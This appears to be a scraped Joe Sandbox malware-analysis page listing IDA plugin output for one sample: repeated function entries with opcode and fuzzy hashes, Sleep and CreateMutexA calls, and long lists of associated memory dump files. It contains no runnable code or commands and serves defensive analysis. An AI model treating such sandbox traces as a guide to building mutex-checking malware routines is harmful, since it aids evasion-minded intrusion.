Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9d78c73d3809c0c675be17fcd5798dab1c3eab557918cfd4001d6dc0a6aaccd5
Instruction ID: 7abf9c1e2516c21a1fcf1ff2afc79919d34e1eb31233df51bd602f318e3a42e8
Opcode Fuzzy Hash: 9d78c73d3809c0c675be17fcd5798dab1c3eab557918cfd4001d6dc0a6aaccd5
Instruction Fuzzy Hash: 9E314A717002088BEB08DBF8DCC97BEBBA2DBD6310F208258F218973D5C77659818751

Function 00AF9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bcb4d981240acd7d6917f688211aa56787215060ec7a9422e3838731cdcb1947
Instruction ID: 7c7c60388523c2cf5c5e3899a9233672f5db06371fc2c67aa85a20aa14259d5d
Opcode Fuzzy Hash: bcb4d981240acd7d6917f688211aa56787215060ec7a9422e3838731cdcb1947
Instruction Fuzzy Hash: D63128717102089BEB18DBB8DDC47BDBBA2EBD5310F204259F519D73D1C77659808752

Function 00AFA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 56e2279063178f18124d7151c36284df38fdda0ce6f1281ea5fadf3fc900fa34
Instruction ID: 93d39022341201856833bb93dc00c7aaebc92d788599b25d8901ed571f06c16d
Opcode Fuzzy Hash: 56e2279063178f18124d7151c36284df38fdda0ce6f1281ea5fadf3fc900fa34
Instruction Fuzzy Hash: 6E3137B17102089BEB08DBB8DDC47BDBBB2DBE1310F208258F218973D1CB7659808756

Function 00AFA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 251b05d33820ff1bb9ba39b0fa042edb9498b9f4403473b5d8be82b79aca59a8
Instruction ID: b97603f7b3f25da40cac0b64189083eb36a2f17dd40f568fd158131832a01135
Opcode Fuzzy Hash: 251b05d33820ff1bb9ba39b0fa042edb9498b9f4403473b5d8be82b79aca59a8
Instruction Fuzzy Hash: 643127B17002089BEB08DBF8DCC97FDB7A6ABE6310F204268F518973D1D77659808752

Function 00AFA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c836092fc67f02186ac491306683432dddb162aa52a9c0247d6d83bab7af15e9
Instruction ID: 219023207762ec55ba1b885e09184209bc6e7ef7799d0b398a920c850e545dd7
Opcode Fuzzy Hash: c836092fc67f02186ac491306683432dddb162aa52a9c0247d6d83bab7af15e9
Instruction Fuzzy Hash: 133139717002089BEB08EBF8D8C97BDBBA2DBE5315F204258F2199B3D5D7B659808752

Function 00AFA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4f43653f673c8562fe8804034a0b6e2248226e6af84abb90ab17f8a3ce66dc8a
Instruction ID: f197d817200ea239dfe8c2a8a9c6315f339e6a44dff29f8954f2eda0ac3d412f
Opcode Fuzzy Hash: 4f43653f673c8562fe8804034a0b6e2248226e6af84abb90ab17f8a3ce66dc8a
Instruction Fuzzy Hash: F83129716002088BEB18DBF8DCC97BDBBA2DBD5314F248258F5199B3D5C77699808752

Function 00AFA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
